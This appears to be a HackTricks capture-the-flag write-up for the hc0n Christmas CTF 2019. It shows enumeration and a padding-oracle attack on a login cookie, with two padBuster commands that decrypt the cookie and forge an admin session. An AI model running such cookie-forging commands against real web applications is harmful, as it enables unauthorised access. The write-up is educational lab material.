# hc0n Christmas CTF - 2019

<details>

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![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg)

## Enumeration

I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):

![](<../../.gitbook/assets/image (244).png>)

There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**)

In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated:

![](<../../.gitbook/assets/image (245).png>)

![](<../../.gitbook/assets/image (246).png>)

And if you change some **byte** of the **cookie** you get this error:

![](<../../.gitbook/assets/image (247).png>)

With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it:

```bash
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"
```

![](<../../.gitbook/assets/image (248).png>)

![](<../../.gitbook/assets/image (249) (1).png>)

**Set user admin:**

```bash
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"
```

![](<../../.gitbook/assets/image (250).png>)

<details>

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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

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